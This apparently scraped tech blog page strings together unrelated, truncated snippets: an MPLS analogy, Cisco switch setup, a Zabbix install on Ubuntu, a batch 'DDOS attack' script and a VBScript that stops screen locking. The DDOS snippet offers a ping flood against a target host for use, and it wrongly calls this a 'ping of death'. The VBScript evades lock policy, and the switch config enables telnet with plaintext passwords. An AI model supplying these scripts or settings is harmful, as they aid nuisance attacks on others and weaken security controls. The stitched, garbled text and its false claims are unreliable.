Networkbytes

What is MPLS? MPLS stands for ‘ multiprotocol label switching ’; it’s a technique that can be used to ensure you’re making the most of your available bandwidth, and not ‘wasting’ bandwidth on unnecessary tasks. There’s a lot of technical and in-depth information around detailing what it is and how it works, but right now let’s strip everything back to basics and take a look at the simplest MPLS explanation. You drive up to the car park of a large shopping centre you’ve never visited before. There are not only multiple entrances, but there’s also many different ways to get from where you are now to the shop that you want to go to. At each fork in the path that you come to, you need to check the signs and make a decision about which way to go in order to get to your destination in the quickest way. Data does the same on an IP network. Data has a known final destination but it has no known route. Instead, it does what we would do in an unknown shopping centre; it reads the signs at every

Basic Network configuration:   Telnet: s(c)#enable password xxxxxx       # line vty 0 4       # password xxxxxx       # login       # transport input telnet Port -Channel: s(c)# interface port channel 1       # description LAN-to-WAN       # no switchport       # ip address 100.100.100.2 255.255.255.240 s(c)# interface gigabitethernet 1/0/46       # no switchport       # no ip address       # channel group 1 mode active s(c)# interface gigabitethernet 1/0/48       # no switchport       # no ip address       # channel group 1 mode active Default Gateway: s(c) # IP default-gateway 100.100.100.1  Default Routing: s(c)# ip routing       # ip route 0.0.0.0  0.0.0.0 100.100.100.1 Vlan: Create VLAN 10, 20, and...etc) s(c)# vlan 10       # name Servers s(c)# interface gigabitethernet 1/0/1-30       # switch port mode access       # switch port access vlan 10 Domain name: s(c) # ip domain name atmecs.com DHCP: s(c)# ip dhcp pool Servers       # network 10.10.20.0 255.255.255.0       # dns serve

Here, I want to show you how to install Zabbix on Ubuntu 18.04, and along with the PHP and MySQL. Step #01:  First update and upgrade must be run on your server. root@zabbixserver:~#  apt update && apt-get upgrade Step #02:   Install apache webserver root@zabbixserver:~#  apt install apache2   Step #03:   Then install mysql database command below root@zabbixserver:~#   apt install mysql-server Step #04:   Install update version 7.2 needed for install Zabbix server.                       root@zabbixserver:~# apt install php php7.2-cli php7.2-mysql php7.2-common php7.2-curl php7.2-json php7.2-cgi libapache2-mod-php7.2 php7.2 Apache webserver now start command root@zabbixserver:~#   service apache2 start   Step #05:   Download Zabbix deb file from below link root@zabbixserver:~#   wget http://repo.zabbix.com/zabbix/3.5/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.5-1%2Bbionic_all.deb Enable Zabbix repo for my server command below root@zabbixserver:~#   dpkg -i zabbix-relea

Command to do a DDOS attack: --> This is also called as the ping of death attack Copy the below script into notepad and save it to .bat file.  Script: @echo off ping -n 2000 -l 500 <www.example.com> Then double click on bat file, DDOS attack will start 

To keep the laptop screen idle, without the lock. Script: Set WshShell = WScript.CreateObject("WScript. Shell") While 1 WshShell.SendKeys "{SCROLLLOCK}" WScript.Sleep (15000) Wend Set WshShell = Nothing Save it .vbs and double-click and won't lock the screen.